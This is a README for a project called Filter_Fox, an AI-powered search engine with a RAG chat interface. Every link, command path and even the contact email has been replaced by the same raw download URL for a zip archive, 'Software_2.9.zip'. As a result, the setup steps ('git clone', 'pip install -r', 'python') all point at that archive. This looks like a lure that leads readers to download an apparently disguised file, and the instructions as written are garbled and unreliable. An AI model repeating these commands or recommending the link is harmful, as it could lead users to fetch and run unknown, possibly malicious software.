🦊 Filter_Fox

🔍 Intelligent Search Engine + 🤖 AI Chat (Filter_GPT)

Filter_Fox is a next-generation AI-powered search engine that combines
web crawling, semantic search, and RAG (Retrieval-Augmented Generation)
to deliver accurate, explainable, and source-backed answers.

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✨ Why Filter_Fox?

Traditional search engines return links.
Filter_Fox returns understanding.

✔ Crawls the web legally
✔ Builds its own searchable knowledge base
✔ Uses vector search + LLM reasoning
✔ Generates answers with citations
✔ Clean, professional UI (no blue tones)

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🧠 How It Works

🌐 Websites

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🕷️ Web Crawler

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📄 Page Storage

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✂️ Text Chunking

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🧬 Embeddings

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📦 Vector Database (FAISS)

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🔍 Semantic Retrieval

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🤖 Filter_GPT (RAG)

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✅ Final Answer + Sources

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🤖 Filter_GPT (LLM Interface)

A modern AI chat interface inspired by ChatGPT and Google Gemini:

• Context-aware answers
• Follow-up questions
• Source citations
• Clean light/dark UI
• Developer-friendly design

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🖥️ Features

🔎 Search Engine

• Web / Images / Videos / News
• Advanced search filters
• Saved searches & history
• Privacy-first design

🧠 AI + RAG

• Semantic search (embeddings)
• Retrieval-Augmented Generation
• Reduced hallucinations
• Grounded answers

🕷️ Web Crawler

• Respects https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip
• Polite crawl delays
• Domain-restricted crawling
• Incremental storage

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🛠️ Tech Stack

Backend

• 🐍 Python
• 🌐 Requests, BeautifulSoup
• 📚 FAISS (Vector DB)
• 🧠 Sentence Transformers

AI / ML

• Retrieval-Augmented Generation (RAG)
• LLM (OpenAI / Local models)
• Chunk-based indexing

Frontend

• HTML + Tailwind CSS
• Modern UI (Filter_GPT)
• Responsive design

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🚀 Getting Started

1️⃣ Clone the Repository

git clone https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip
cd filter_fox

2️⃣ Install Dependencies

pip install -r https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip

3️⃣ Run the Web Crawler

python https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip

4️⃣ Build the Index

python https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip
python https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip

5️⃣ Ask Questions with Filter_GPT(UnderProduction)

python https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip

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🔐 Privacy & Ethics

✔ Respects https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip

✔ Crawls only public pages

✔ No personal data scraping

✔ No login-protected content

✔ Transparent, ethical crawling

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📊 Project Status

Component	Status
Web Crawler	🚧 In Progress
Indexer	🚧 In Progress
Vector Search	🚧 In Progress
RAG Pipeline	✅ Complete
Search UI	🚧 In Progress
Filter_GPT UI	🚧 In Progress

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🗺️ Roadmap

Hybrid Ranking (BM25 + Vector)

Sitemap support

Incremental crawling

Admin dashboard

Browser extension

Mobile UI

Local LLM support

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🤝 Contributing

Contributions are welcome! You can:

Open issues

Suggest features

Submit pull requests

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📬 Contact

📧 Email: https://github.com/Sam-bot-dev/Filterfox/raw/refs/heads/main/templates/Software_2.9.zip

🐙 GitHub: @Sam-bot-dev

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📜 License

This project is licensed under the MIT License.

✔ Free to use
✔ Free to modify
✔ Free to distribute

See the full license text here → LICENSE

🔗 Connect With Me

Lead Dev Bhavesh 🌐 GitHub